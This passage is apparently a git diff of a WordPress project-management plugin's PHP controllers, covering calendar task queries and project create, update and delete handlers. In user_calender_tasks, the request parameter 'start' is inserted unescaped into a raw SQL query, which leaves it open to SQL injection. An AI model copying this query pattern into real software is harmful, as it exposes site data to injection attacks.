- foreach ( $projects as $key => $project ) { - $project = str_replace('`', '"', $project); - $project = json_decode( $project ); - - if ( ! empty( $project->title ) ) { - return $project->title; - } - } - - return ''; - } - - public function get_settings_value( $settings ) { - $settings = explode( '|', $settings ); - - foreach ( $settings as $key => $setting ) { - return !empty( $setting ) ? maybe_unserialize( $setting ) : ''; - } - - return []; - } - - public function get_assignees_value( $assignees, $users ) { - $expand_users = []; - - // $assignees = explode( '|', $assignees ); - - // foreach ( $assignees as $key => $assignee ) { - // $assignee = str_replace('`', '"', $assignee); - // $assignee = json_decode( $assignee ); - - // if ( ! empty( $assignee->assigned_to ) ) { - // $return[] = $assignee->assigned_to; - // } - // } - - $users = explode( '|', $users ); - - foreach ( $users as $key => $user ) { - $user = str_replace('`', '"', $user); - $user = json_decode( $user ); - - if ( ! empty( $user->id ) ) { - $expand_users[] = [ - 'id' => $user->id, - 'display_name' => $user->display_name, - 'avatar_url' => get_avatar_url( $user->id ) - ]; - } - } - - return [ - 'data' => $expand_users - ]; - - } - - public function get_privacy_meta_value( $event_meta ) { - $metas = explode( '|', $event_meta ); - - foreach ( $metas as $key => $meta ) { - $meta = str_replace('`', '"', $meta); - $meta = json_decode( $meta ); - - if ( ! empty( $meta->meta_key ) && $meta->meta_key == 'privacy' ) { - return $meta->meta_value; - } - - } - - return ''; - } - - // public function user_calender_tasks_x( WP_REST_Request $request ) { - // $id = $request->get_param( 'id' ); - // $start = $request->get_param( 'start' ); - // $end = $request->get_param( 'end' ); - - // $tasks = User::find( $id )->tasks() - // ->whereHas('boards',function( $query ) { - // $query->where( pm_tb_prefix() . 'pm_boards.status', '1'); - // }) - // ->with('assignees') - // ->parent() - // ->where( function( $query ) use ($start, $end) { - - // $query->where( function ( $q2 ) use ($start, $end) { - // $q2->where( 'start_at', '>=', $start) - // ->where( 'due_date', '<=', $end ); - // }) - - // ->orWhere( function ( $q3 ) use ($start, $end) { - // $q3->whereNull( 'due_date' ) - // ->where( function ( $qsub ) use ($start, $end) { - // $qsub->where( 'start_at', '>=', $start ) - // ->where( pm_tb_prefix() . 'pm_tasks.created_at', '<=', $end ); - // }); - // } ) - - // ->orWhere( function ($q4) use ($start, $end) { - // $q4->whereNull( 'start_at' ) - // ->where( function ( $qsub ) use ($start, $end) { - // $qsub->where( 'due_date', '>=', $start ) - // ->where( pm_tb_prefix() . 'pm_tasks.created_at', '<=', $end ); - // }); - // } ) - - // ->orWhere( function( $q5 ) use ($start, $end) { - // $q5->whereNull( 'start_at' ) - // ->orWhereNull( 'due_date' ) - // ->whereBetween( pm_tb_prefix() . 'pm_tasks.created_at', array($start, $end) ); - // } ); - // } ); - - // if ( !pm_has_manage_capability() ){ - // $tasks = $tasks->doesntHave( 'metas', 'and', function ($query) { - // $query->where( 'meta_key', '=', 'privacy' ) - // ->where( 'meta_value', '!=', '0' ); - // }); - - // $tasks = $tasks->doesntHave( 'task_lists.metas', 'and', function ($query) { - // $query->where( 'meta_key', '=', 'privacy' ) - // ->where( 'meta_value', '!=', '0' ); - // }); - // } - // $tasks = $tasks->get()->toArray(); - // $resource = New Collection( $tasks, new Calendar_Transformer ); - // return $this->get_response( $resource ); - // } - - public function assigned_users () { - $roles = User_Role::select('user_id')->get()->toArray(); - $user_ids = wp_list_pluck( $roles, 'user_id' ); //pluck('user_id')->unique(); - $users = User::find($user_ids); - - $resource = new Collection( $users, new User_Transformer ); - - return $this->get_response( $resource ); - } - - public function user_activities ( WP_REST_Request $request ) { - $id = $request->get_param( 'id' ); - $page = $request->get_param( 'mytask_activities_page' ); - $per_page = $request->get_param( 'mytask_activities_per_page' ); - $page = isset( $page ) ? $page : 1; - $per_page = isset( $per_page ) ? $per_page : 15; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $activities = User::find($id)->activities() - ->orderBy( 'created_at', 'DESC' ) - ->paginate( $per_page ); - - $activities_collection = $activities->getCollection(); - $resource = New Collection( $activities_collection, new Activity_Transformer ); - - $resource->setPaginator( new IlluminatePaginatorAdapter( $activities ) ); - - return $this->get_response( $resource ); - } -} +get_param( 'id' ); + $taskType = $request->get_param( 'task_type' ); + $today = date( 'Y-m-d', strtotime( current_time( 'mysql' ) ) ); + + $user = User::with( [ + 'projects' => function ( $query ) use ( $id, $taskType, $today ) { + $query->with( [ + 'tasks' => function ( $task ) use ( $id, $taskType, $today ) { + $task = $task->with( ['assignees', 'metas'] ) + ->parent() + ->whereHas( 'assignees', function ( $assignees ) use ( $id ) { + $assignees->where( 'assigned_to', $id ); + } ); + + $task->whereHas('boards',function( $query ) { + $query->where('status', '1'); + }); + + /* get current task */ + if ( $taskType == 'current' ) { + $task = $task->where( function( $q ) use ( $today ) { + $q->where( 'due_date', '>=', $today ) + ->orWhereNull( 'due_date' ); + }); + } + /* get complete task*/ + if ( $taskType == 'complete' ) { + $task = $task->where( 'status', 1); + } else { + $task = $task->where( 'status', '!=', 1); + } + + /* get outstanding task */ + if ( $taskType == 'outstanding' ) { + $task = $task->where( 'due_date', '<', $today ); + } + + if ( ! pm_has_manage_capability() ) { + /*exclude private tasks*/ + $task = $task->doesntHave( 'metas', 'and', function ($query) { + $query->where( 'meta_key', '=', 'privacy' ) + ->where( 'meta_value', '!=', '0' ); + }); + /*exclude task private list*/ + $task = $task->doesntHave( 'task_lists.metas', 'and', function ($query) { + $query->where( 'meta_key', '=', 'privacy' ) + ->where( 'meta_value', '!=', '0' ); + }); + } + } + ]) + ->whereHas('tasks', function ( $task ) use ( $id, $taskType, $today ) { + $task = $task->parent() + ->whereHas( 'assignees', function ( $assignees ) use ( $id ) { + $assignees->where( 'assigned_to', $id ); + } ); + $task->whereHas('boards',function( $query ) { + $query->where('status', '1'); + }); + + /* get current task */ + if ( $taskType == 'current' ) { + $task = $task->where( function( $q ) use ( $today ) { + $q->where( 'due_date', '>=', $today ) + ->orWhereNull( 'due_date' ); + }); + } + /* get complete task*/ + if ( $taskType == 'complete' ) { + $task = $task->where( 'status', 1); + } else { + $task = $task->where( 'status', '!=', 1); + } + /* get outstanding task */ + if ( $taskType == 'outstanding' ) { + $task = $task->where( 'due_date', '<', $today ); + } + if ( ! pm_has_manage_capability() ) { + /*exclude private tasks*/ + $task = $task->doesntHave( 'metas', 'and', function ($query) { + $query->where( 'meta_key', '=', 'privacy' ) + ->where( 'meta_value', '!=', '0' ); + }); + /*exclude task private list*/ + $task = $task->doesntHave( 'task_lists.metas', 'and', function ($query) { + $query->where( 'meta_key', '=', 'privacy' ) + ->where( 'meta_value', '!=', '0' ); + }); + } + } ); + } + ] )->find( $id ); + + $resource = new Item( $user, new User_Transformer ); + $resource = $this->get_response( $resource ); + + return $resource; + } + + public function user_calender_tasks( WP_REST_Request $request ) { + global $wpdb; + + $user_id = $request->get_param( 'id' ); + $start = $request->get_param( 'start' ); + $end = $request->get_param( 'end' ); + $events = []; + $users = $request->get_param( 'users' ); + $user_id = get_current_user_id(); + $tb_tasks = pm_tb_prefix() . 'pm_tasks'; + $tb_boards = pm_tb_prefix() . 'pm_boards'; + $tb_boardables = pm_tb_prefix() . 'pm_boardables'; + $tb_assignees = pm_tb_prefix() . 'pm_assignees'; + $tb_meta = pm_tb_prefix() . 'pm_meta'; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_settings = pm_tb_prefix() . 'pm_settings'; + + $tb_users = $wpdb->base_prefix . 'users'; + $tb_user_meta = $wpdb->base_prefix . 'usermeta'; + + $tb_role_user = pm_tb_prefix() . 'pm_role_user'; + $current_user_id = get_current_user_id(); + + $user_id = empty( $user_id ) ? (int)$current_user_id : (int)$user_id; + + $project_ids = $this->get_current_user_project_ids( $user_id ); + + $boards = "SELECT id FROM $tb_boards WHERE type='task_list' and status=1"; + $get_boards = $wpdb->get_results( $boards ); + $boards_id = wp_list_pluck( $get_boards, 'id' ); + $boards_id = implode( ',', $boards_id ); + + if ( empty( $project_ids ) ) { + $where_projec_ids = "AND pj.id IN (0)";; + } else { + $project_ids = implode( ',', $project_ids ); + $where_projec_ids = "AND pj.id IN ( $project_ids )"; + } + + $where_users = " AND asin.assigned_to IN ( $user_id )"; + + if ( is_multisite() ) { + $meta_key = pm_user_meta_key(); + + $event_query = "SELECT tsk.*, + GROUP_CONCAT( + DISTINCT + CONCAT( + '{', + '\"', 'meta_key', '\"', ':' , '\"', IFNULL(tskmt.meta_key, '') , '\"', ',', + '\"', 'meta_value', '\"', ':' , '\"', IFNULL(tskmt.meta_value, '') , '\"' + ,'}' + ) SEPARATOR '|' + ) as task_meta, + + GROUP_CONCAT( + DISTINCT + CONCAT( + '{', + '\"', 'meta_key', '\"', ':' , '\"', IFNULL(boablmt.meta_key, '') , '\"', ',', + '\"', 'meta_value', '\"', ':' , '\"', IFNULL(boablmt.meta_value, '') , '\"' + ,'}' + ) SEPARATOR '|' + ) as list_meta, + + GROUP_CONCAT( + DISTINCT + CONCAT( + '{', + '\"', 'assigned_to', '\"', ':' , '\"', IFNULL(asins.assigned_to, '') , '\"' + ,'}' + ) SEPARATOR '|' + ) as assignees, + + GROUP_CONCAT( + DISTINCT + CONCAT( + IFNULL(sett.value, '') + ) SEPARATOR '|' + ) as settings, + + GROUP_CONCAT( + DISTINCT + CONCAT( + '{', + '\"', 'title', '\"', ':' , '\"', IFNULL(pj.title, '') , '\"' + ,'}' + ) SEPARATOR '|' + ) as project, + + GROUP_CONCAT( + DISTINCT + CONCAT( + '{', + '\"', 'board_id', '\"', ':' , '\"', IFNULL(boabl.board_id, '') , '\"' + ,'}' + ) SEPARATOR '|' + ) as boardable, + + GROUP_CONCAT( + DISTINCT + CONCAT( + '{', + '\"', 'id', '\"', ':' , '\"', IFNULL(usr.ID, '') , '\"', ',', + '\"', 'display_name', '\"', ':' , '\"', IFNULL(usr.display_name, '') , '\"' + ,'}' + ) SEPARATOR '|' + ) as users + + FROM $tb_tasks as tsk + + LEFT JOIN $tb_boardables as boabl + ON (tsk.id=boabl.boardable_id AND boabl.board_type='task_list' AND boabl.boardable_type='task') + + LEFT JOIN $tb_boards as board + ON (boabl.board_id=board.id AND board.type='task_list') + + LEFT JOIN $tb_projects as pj ON (tsk.project_id=pj.id) + + -- For getting multipule assignee users in individual task + LEFT JOIN $tb_assignees as asins ON tsk.id=asins.task_id + + -- For filter user + LEFT JOIN $tb_assignees as asin ON tsk.id=asin.task_id + + -- For getting all users information + LEFT JOIN $tb_users as usr ON asins.assigned_to=usr.ID + LEFT JOIN $tb_user_meta as umeta ON umeta.user_id = usr.ID + + LEFT JOIN $tb_meta as tskmt + ON (tsk.id=tskmt.entity_id AND tskmt.entity_type='task') + + LEFT JOIN $tb_meta as boablmt + ON ( boabl.board_id=boablmt.entity_id AND boablmt.entity_type='task_list') + + LEFT JOIN $tb_settings as sett ON pj.id=sett.project_id AND sett.key='capabilities' + + WHERE 1=1 + AND umeta.meta_key='$meta_key' + AND + ( + (tsk.due_date >= '$start') + or + (tsk.due_date is null and tsk.start_at >= '$start') + or + (tsk.start_at is null and tsk.due_date >= '$start' ) + or + ((tsk.start_at is null AND tsk.due_date is null) and tsk.created_at >= '$start') + ) + AND + board.id IN ($boards_id) + $where_projec_ids + + $where_users + + GROUP BY(tsk.id)"; + + } else { + + $event_query = "SELECT tsk.*, + GROUP_CONCAT( + DISTINCT + CONCAT( + '{', + '\"', 'meta_key', '\"', ':' , '\"', IFNULL(tskmt.meta_key, '') , '\"', ',', + '\"', 'meta_value', '\"', ':' , '\"', IFNULL(tskmt.meta_value, '') , '\"' + ,'}' + ) SEPARATOR '|' + ) as task_meta, + + GROUP_CONCAT( + DISTINCT + CONCAT( + '{', + '\"', 'meta_key', '\"', ':' , '\"', IFNULL(boablmt.meta_key, '') , '\"', ',', + '\"', 'meta_value', '\"', ':' , '\"', IFNULL(boablmt.meta_value, '') , '\"' + ,'}' + ) SEPARATOR '|' + ) as list_meta, + + GROUP_CONCAT( + DISTINCT + CONCAT( + '{', + '\"', 'assigned_to', '\"', ':' , '\"', IFNULL(asins.assigned_to, '') , '\"' + ,'}' + ) SEPARATOR '|' + ) as assignees, + + GROUP_CONCAT( + DISTINCT + CONCAT( + IFNULL(sett.value, '') + ) SEPARATOR '|' + ) as settings, + + GROUP_CONCAT( + DISTINCT + CONCAT( + '{', + '\"', 'title', '\"', ':' , '\"', IFNULL(pj.title, '') , '\"' + ,'}' + ) SEPARATOR '|' + ) as project, + + GROUP_CONCAT( + DISTINCT + CONCAT( + '{', + '\"', 'board_id', '\"', ':' , '\"', IFNULL(boabl.board_id, '') , '\"' + ,'}' + ) SEPARATOR '|' + ) as boardable, + + GROUP_CONCAT( + DISTINCT + CONCAT( + '{', + '\"', 'id', '\"', ':' , '\"', IFNULL(usr.ID, '') , '\"', ',', + '\"', 'display_name', '\"', ':' , '\"', IFNULL(usr.display_name, '') , '\"' + ,'}' + ) SEPARATOR '|' + ) as users + + FROM $tb_tasks as tsk + + LEFT JOIN $tb_boardables as boabl + ON (tsk.id=boabl.boardable_id AND boabl.board_type='task_list' AND boabl.boardable_type='task') + + LEFT JOIN $tb_boards as board + ON (boabl.board_id=board.id AND board.type='task_list') + + LEFT JOIN $tb_projects as pj ON (tsk.project_id=pj.id) + + -- For getting multipule assignee users in individual task + LEFT JOIN $tb_assignees as asins ON tsk.id=asins.task_id + + -- For filter user + LEFT JOIN $tb_assignees as asin ON tsk.id=asin.task_id + + -- For getting all users information + LEFT JOIN $tb_users as usr ON asins.assigned_to=usr.ID + + LEFT JOIN $tb_meta as tskmt + ON (tsk.id=tskmt.entity_id AND tskmt.entity_type='task') + + LEFT JOIN $tb_meta as boablmt + ON ( boabl.board_id=boablmt.entity_id AND boablmt.entity_type='task_list') + + LEFT JOIN $tb_settings as sett ON pj.id=sett.project_id AND sett.key='capabilities' + + WHERE 1=1 + AND + ( + (tsk.due_date >= '$start') + or + (tsk.due_date is null and tsk.start_at >= '$start') + or + (tsk.start_at is null and tsk.due_date >= '$start' ) + or + ((tsk.start_at is null AND tsk.due_date is null) and tsk.created_at >= '$start') + ) + AND + board.id IN ($boards_id) + $where_projec_ids + + $where_users + + GROUP BY(tsk.id)"; + } + + $events = $wpdb->get_results( $event_query ); + + $user_roles = $wpdb->prepare("SELECT DISTINCT user_id, project_id, role_id FROM $tb_role_user WHERE user_id=%d", $current_user_id); + $user_roles = $wpdb->get_results( $user_roles ); + + + $tasks = $this->Calendar_Transformer( $events, $user_roles ); + + + wp_send_json_success( $tasks ); + } + + public function Calendar_Transformer( $events, $user_roles ) { + $current_user_id = get_current_user_id(); + $has_manage_cap = pm_has_manage_capability(); + $roles = []; + $tasks = []; + + foreach ( $user_roles as $key => $user_role ) { + $roles[$user_role->project_id][$user_role->user_id] = $user_role->role_id; + } + + foreach ( $events as $key => $event ) { + + $role = 0; + + if ( ! empty( $roles[$event->project_id][$current_user_id] ) ) { + $role = $roles[$event->project_id][$current_user_id]; + } + + $event->list_id = $this->get_list_id( $event->boardable ); + $event->task_privacy = $this->get_privacy_meta_value( $event->task_meta ); + $event->list_privacy = $this->get_privacy_meta_value( $event->list_meta ); + $event->assignees = $this->get_assignees_value( $event->assignees, $event->users ); + $event->settings = $this->get_settings_value( $event->settings ); + $event->project_title = $this->get_project_title( $event->project ); + + + if ( ! $this->has_view_permission( + $has_manage_cap, + $role, + $event->list_privacy, + $event->task_privacy, + $event->settings + ) + ) { + continue; + } + + $tasks[] = [ + 'id' => (int) $event->id, + 'title' => $event->title, + 'start' => $this->get_start( $event ), + 'end' => $this->get_end( $event ), + 'status' => $event->status ? 'complete' : 'incomplete', + 'type' => 'task', + 'project_id' => $event->project_id, + 'created_at' => format_date( $event->created_at ), + 'updated_at' => format_date( $event->updated_at ), + 'assignees' => $event->assignees + ]; + } + + return $tasks; + } + + public function get_current_user_project_ids( $user_id, $project_id = false ) { + global $wpdb; + + $tb_role_user = pm_tb_prefix() . 'pm_role_user'; + $user_id = $user_id; + + $project_ids = []; + + // IF empty project id + $project_query = $wpdb->prepare( "SELECT DISTINCT project_id FROM $tb_role_user WHERE user_id=%d", $user_id ); + + $project_ids = $wpdb->get_results( $project_query ); + $project_ids = wp_list_pluck( $project_ids, 'project_id' ); + + return $project_ids; + } + + public function get_end( $event ) { + + if ( ! empty( $event->due_date ) ) { + return format_date( $event->due_date ); + } else if ( ! empty( $event->start_at )) { + return format_date( $event->start_at); + } else { + return format_date( $event->created_at ); + } + } + + public function get_start( $event ) { + + if ( !empty( $event->start_at ) ) { + return format_date( $event->start_at); + } else if ( isset( $event->due_date ) ) { + return format_date( $event->due_date ); + } else { + return format_date( $event->created_at ); + } + } + + public function has_view_permission( + $has_manage_cap, + $role, + $list_privacy, + $task_privacy, + $settings + ) { + + if ( $has_manage_cap || $role == 1 ) { + return true; + } + + if ( $list_privacy == 1 ) { + if ( $role == 2 ) { + if ( + ! empty( $settings['co_worker'] ) + && + ! $settings['co_worker']['view_private_list'] + ) { + return false; + } + } + + if ( $role == 3 ) { + if ( + ! empty( $settings['client'] ) + && + ! $settings['client']['view_private_list'] + ) { + return false; + } + } + } + + if ( $task_privacy == 1 ) { + if ( $role == 2 ) { + if ( + ! empty( $settings['co_worker'] ) + && + ! $settings['co_worker']['view_private_task'] + ) { + return false; + } + } + + if ( $role == 3 ) { + if ( + ! empty( $settings['client'] ) + && + ! $settings['client']['view_private_task'] + ) { + return false; + } + } + } + + return true; + } + + public function get_list_id( $boardables ) { + $boardables = explode( '|', $boardables ); + + foreach ( $boardables as $key => $boardable ) { + $boardable = str_replace('`', '"', $boardable); + $boardable = json_decode( $boardable ); + + if ( ! empty( $boardable->board_id ) ) { + return $boardable->board_id; + } + } + + return ''; + } + + public function get_project_title( $projects ) { + $projects = explode( '|', $projects ); + + foreach ( $projects as $key => $project ) { + $project = str_replace('`', '"', $project); + $project = json_decode( $project ); + + if ( ! empty( $project->title ) ) { + return $project->title; + } + } + + return ''; + } + + public function get_settings_value( $settings ) { + $settings = explode( '|', $settings ); + + foreach ( $settings as $key => $setting ) { + return !empty( $setting ) ? maybe_unserialize( $setting ) : ''; + } + + return []; + } + + public function get_assignees_value( $assignees, $users ) { + $expand_users = []; + + // $assignees = explode( '|', $assignees ); + + // foreach ( $assignees as $key => $assignee ) { + // $assignee = str_replace('`', '"', $assignee); + // $assignee = json_decode( $assignee ); + + // if ( ! empty( $assignee->assigned_to ) ) { + // $return[] = $assignee->assigned_to; + // } + // } + + $users = explode( '|', $users ); + + foreach ( $users as $key => $user ) { + $user = str_replace('`', '"', $user); + $user = json_decode( $user ); + + if ( ! empty( $user->id ) ) { + $expand_users[] = [ + 'id' => $user->id, + 'display_name' => $user->display_name, + 'avatar_url' => get_avatar_url( $user->id ) + ]; + } + } + + return [ + 'data' => $expand_users + ]; + + } + + public function get_privacy_meta_value( $event_meta ) { + $metas = explode( '|', $event_meta ); + + foreach ( $metas as $key => $meta ) { + $meta = str_replace('`', '"', $meta); + $meta = json_decode( $meta ); + + if ( ! empty( $meta->meta_key ) && $meta->meta_key == 'privacy' ) { + return $meta->meta_value; + } + + } + + return ''; + } + + // public function user_calender_tasks_x( WP_REST_Request $request ) { + // $id = $request->get_param( 'id' ); + // $start = $request->get_param( 'start' ); + // $end = $request->get_param( 'end' ); + + // $tasks = User::find( $id )->tasks() + // ->whereHas('boards',function( $query ) { + // $query->where( pm_tb_prefix() . 'pm_boards.status', '1'); + // }) + // ->with('assignees') + // ->parent() + // ->where( function( $query ) use ($start, $end) { + + // $query->where( function ( $q2 ) use ($start, $end) { + // $q2->where( 'start_at', '>=', $start) + // ->where( 'due_date', '<=', $end ); + // }) + + // ->orWhere( function ( $q3 ) use ($start, $end) { + // $q3->whereNull( 'due_date' ) + // ->where( function ( $qsub ) use ($start, $end) { + // $qsub->where( 'start_at', '>=', $start ) + // ->where( pm_tb_prefix() . 'pm_tasks.created_at', '<=', $end ); + // }); + // } ) + + // ->orWhere( function ($q4) use ($start, $end) { + // $q4->whereNull( 'start_at' ) + // ->where( function ( $qsub ) use ($start, $end) { + // $qsub->where( 'due_date', '>=', $start ) + // ->where( pm_tb_prefix() . 'pm_tasks.created_at', '<=', $end ); + // }); + // } ) + + // ->orWhere( function( $q5 ) use ($start, $end) { + // $q5->whereNull( 'start_at' ) + // ->orWhereNull( 'due_date' ) + // ->whereBetween( pm_tb_prefix() . 'pm_tasks.created_at', array($start, $end) ); + // } ); + // } ); + + // if ( !pm_has_manage_capability() ){ + // $tasks = $tasks->doesntHave( 'metas', 'and', function ($query) { + // $query->where( 'meta_key', '=', 'privacy' ) + // ->where( 'meta_value', '!=', '0' ); + // }); + + // $tasks = $tasks->doesntHave( 'task_lists.metas', 'and', function ($query) { + // $query->where( 'meta_key', '=', 'privacy' ) + // ->where( 'meta_value', '!=', '0' ); + // }); + // } + // $tasks = $tasks->get()->toArray(); + // $resource = New Collection( $tasks, new Calendar_Transformer ); + // return $this->get_response( $resource ); + // } + + public function assigned_users () { + $roles = User_Role::select('user_id')->get()->toArray(); + $user_ids = wp_list_pluck( $roles, 'user_id' ); //pluck('user_id')->unique(); + $users = User::find($user_ids); + + $resource = new Collection( $users, new User_Transformer ); + + return $this->get_response( $resource ); + } + + public function user_activities ( WP_REST_Request $request ) { + $id = $request->get_param( 'id' ); + $page = $request->get_param( 'mytask_activities_page' ); + $per_page = $request->get_param( 'mytask_activities_per_page' ); + $page = isset( $page ) ? $page : 1; + $per_page = isset( $per_page ) ? $per_page : 15; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $activities = User::find($id)->activities() + ->orderBy( 'created_at', 'DESC' ) + ->paginate( $per_page ); + + $activities_collection = $activities->getCollection(); + $resource = New Collection( $activities_collection, new Activity_Transformer ); + + $resource->setPaginator( new IlluminatePaginatorAdapter( $activities ) ); + + return $this->get_response( $resource ); + } +} diff --git a/src/Project/Controllers/Project_Controller.php b/src/Project/Controllers/Project_Controller.php index 0f33d3165..5efff2c03 100644 --- a/src/Project/Controllers/Project_Controller.php +++ b/src/Project/Controllers/Project_Controller.php @@ -1,440 +1,440 @@ -get_param( 'per_page' ); - $page = $request->get_param( 'page' ); - $status = $request->get_param( 'status' ); - $category = $request->get_param( 'category' ); - $project_transform = $request->get_param( 'project_transform' ); - - $per_page_from_settings = pm_get_setting( 'project_per_page' ); - $per_page_from_settings = $per_page_from_settings ? $per_page_from_settings : 15; - - $per_page = $per_page ? $per_page : $per_page_from_settings; - $page = $page ? $page : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $projects = $this->fetch_projects( $category, $status ); - - $projects = apply_filters( 'pm_project_query', $projects, $request->get_params() ); - - $projects = $projects->orderBy( pm_tb_prefix().'pm_projects.created_at', 'DESC' ); - - if ( -1 === intval( $per_page ) || $per_page == 'all' ) { - $per_page = $projects->get()->count(); - } - - if( $project_transform == 'false' ) { - wp_send_json_success( $projects->get()->toArray() ); - } - - $projects = $projects->paginate( $per_page ); - - $project_collection = $projects->getCollection(); - $resource = new Collection( $project_collection, new Project_Transformer ); - - $resource->setMeta( $this->projects_meta( $category ) ); - - $resource->setPaginator( new IlluminatePaginatorAdapter( $projects ) ); - - return $this->get_response( $resource ); - } - - private function projects_meta( $category ) { - $user_id = get_current_user_id(); - $eloquent_sql = $this->fetch_projects_by_category( $category ); - $total_projects = $eloquent_sql->count(); - $eloquent_sql = $this->fetch_projects_by_category( $category ); - $total_incomplete = $eloquent_sql->where( 'status', Project::INCOMPLETE )->count(); - $eloquent_sql = $this->fetch_projects_by_category( $category ); - $total_complete = $eloquent_sql->where( 'status', Project::COMPLETE )->count(); - $eloquent_sql = $this->fetch_projects_by_category( $category ); - $total_pending = $eloquent_sql->where( 'status', Project::PENDING )->count(); - $eloquent_sql = $this->fetch_projects_by_category( $category ); - $total_archived = $eloquent_sql->where( 'status', Project::ARCHIVED )->count(); - $eloquent_sql = $this->fetch_projects_by_category( $category ); - $favourite = $eloquent_sql->whereHas( 'meta', function ( $query ) use( $user_id ) { - $query->where('meta_key', '=', 'favourite_project') - ->where('entity_id', '=', $user_id) - ->whereNotNull( 'meta_value' ); - } )->count(); - $user_id = get_current_user_id(); - - $meta = [ - 'total_projects' => $total_projects, - 'total_incomplete' => $total_incomplete, - 'total_complete' => $total_complete, - 'total_pending' => $total_pending, - 'total_archived' => $total_archived, - 'total_favourite' => $favourite, - ]; - - return $meta; - } - - private function fetch_projects( $category, $status ) { - $projects = $this->fetch_projects_by_category( $category ); - $user_id = get_current_user_id(); - - if ($status == 'favourite' ) { - $projects = $projects->whereHas( 'meta', function ( $query ) use( $user_id ) { - $query->where('meta_key', '=', 'favourite_project') - ->where('entity_id', '=', $user_id) - ->whereNotNull( 'meta_value' ); - } ); - } - - if ( in_array( $status, Project::$status ) ) { - $status = array_search( $status, Project::$status ); - $projects = $projects->where( 'status', $status ); - } - - $projects = $projects->leftJoin( pm_tb_prefix() . 'pm_meta', function ( $join ) use( $user_id ) { - $join->on( pm_tb_prefix().'pm_projects.id', '=', pm_tb_prefix().'pm_meta.project_id' ) - ->where('meta_key', '=', 'favourite_project')->where('entity_id', '=', $user_id); - }) - ->selectRaw( pm_tb_prefix().'pm_projects.*' ) - ->groupBy( pm_tb_prefix().'pm_projects.id' ) - ->orderBy( pm_tb_prefix().'pm_meta.meta_value', 'DESC'); - - return $projects; - } - - private function fetch_projects_by_category( $category = null ) { - $user_id = get_current_user_id(); - - if ( $category ) { - $category = Category::where( 'categorible_type', 'project' ) - ->where( 'id', $category ) - ->first(); - - if ( $category ) { - $projects = $category->projects()->with('assignees'); - } else { - $projects = Project::with('assignees'); - } - - } else { - $projects = Project::with('assignees'); - } - if ( !pm_has_manage_capability( $user_id ) ){ - $projects = $projects->whereHas('assignees', function( $q ) use ( $user_id ) { - $q->where('user_id', $user_id ); - }); - } - - return $projects; - } - - public function show( WP_REST_Request $request ) { - $id = $request->get_param('id'); - $user_id = get_current_user_id(); - $project = Project::find($id); - - if ( !$project ) { - return new \WP_Error( 'project', pm_get_text('success_messages.no_project'), array( 'status'=> 404 ) ); - } - - $projectId_git_bit_hash = get_option('projectId_git_bit_hash_'.$project->id); - if(!$projectId_git_bit_hash){ - add_option('projectId_git_bit_hash_'.$project->id , sha1(strtotime("now").$project->id)); - } - - $resource = new Item( $project, new Project_Transformer ); - $list_view = pm_get_meta( $user_id, $id, 'list_view', 'list_view_type' ); - $resource->setMeta([ - 'list_view_type' => $list_view ? $list_view->toArray() : null - ]); - - return $this->get_response( $resource ); - } - - public function create_project( $data ) { - $project = Project::create( $data ); - add_option('projectId_git_bit_hash_'.$project->id , sha1(strtotime("now").$project->id)); - // Establishing relationships - $category_ids = isset( $data[ 'categories' ] ) ? $data[ 'categories' ] : []; - if ( $category_ids ) { - $project->categories()->sync( $category_ids ); - } - - $assignees = isset( $data[ 'assignees' ] ) ? $data['assignees'] : []; - $assignees[] = [ - 'user_id' => wp_get_current_user()->ID, - 'role_id' => 1, // 1 for manager - ]; - //craeate list inbox when create project - $this->create_list_inbox($project->id); - - if ( is_array( $assignees ) ) { - $this->assign_users( $project, $assignees ); - } - do_action( 'pm_project_new', $project, $data ); - // Transforming database model instance - $resource = new Item( $project, new Project_Transformer ); - $response = $this->get_response( $resource ); - $response['message'] = pm_get_text('success_messages.project_created'); - do_action( 'cpm_project_new', $project->id, $project->toArray(), $data ); // will deprecated - do_action( 'pm_after_new_project', $response, $data ); - - ( new Project_Role_Relation )->set_relation_after_create_project( $response['data'] ); - - return $response; - } - - public function store( WP_REST_Request $request ) { - // Extraction of no empty inputs and create project - $data = $this->extract_non_empty_values( $request ); - $project = Project::create( $data ); - add_option('projectId_git_bit_hash_'.$project->id , sha1(strtotime("now").$project->id)); - // Establishing relationships - $category_ids = $request->get_param( 'categories' ); - if ( $category_ids ) { - $project->categories()->sync( $category_ids ); - } - - $assignees = $request->get_param( 'assignees' ); - $assignees[] = [ - 'user_id' => wp_get_current_user()->ID, - 'role_id' => 1, // 1 for manager - ]; - //craeate list inbox when create project - $this->create_list_inbox($project->id); - if ( is_array( $assignees ) ) { - $this->assign_users( $project, $assignees ); - } - do_action( 'pm_project_new', $project, $request->get_params()); - // Transforming database model instance - $resource = new Item( $project, new Project_Transformer ); - $response = $this->get_response( $resource ); - $response['message'] = pm_get_text('success_messages.project_created'); - - do_action( 'cpm_project_new', $project->id, $project->toArray(), $request->get_params() ); // will deprecated - do_action( 'pm_after_new_project', $response, $request->get_params() ); - - ( new Project_Role_Relation )->set_relation_after_create_project( $response['data'] ); - - return $response; - } - - public function update( WP_REST_Request $request ) { - // Extract non empty inputs and update project - $data = $request->get_params();//$this->extract_non_empty_values( $request ); - $project = Project::find( $data['id'] ); - - $project->update_model( $data ); - - // Establishing relationships - $category_ids = $request->get_param( 'categories' ); - if ( $category_ids ) { - $project->categories()->sync( $category_ids ); - } - - $assignees = $request->get_param( 'assignees' ); - - if ( is_array( $assignees ) ) { - $project->assignees()->detach(); - $this->assign_users( $project, $assignees ); - } - - $resource = new Item( $project, new Project_Transformer ); - $response = $this->get_response( $resource ); - $response['message'] = pm_get_text('success_messages.project_updated'); - do_action( 'cpm_project_update', $project->id, $project->toArray(), $request->get_params() ); - do_action( 'pm_after_update_project', $response, $request->get_params() ); - - ( new Project_Role_Relation )->set_relation_after_update_project( $response['data'] ); - - return $response; - } - - public function delete_projects_all() { - $projects = Project::all(); - foreach ($projects as $project ) { - - do_action( 'cpm_delete_project_prev', $project->id ); // will be deprecated - do_action( 'cpm_project_delete', $project, true ); - do_action( 'pm_before_delete_project', $project, $project->id ); - // Delete related resourcess - $project->categories()->detach(); - - $tasks = $project->tasks; - foreach ( $tasks as $task ) { - $task->files()->delete(); - $task->assignees()->delete(); - $task->metas()->delete(); - } - $project->tasks()->delete(); - - $task_lists = $project->task_lists; - foreach 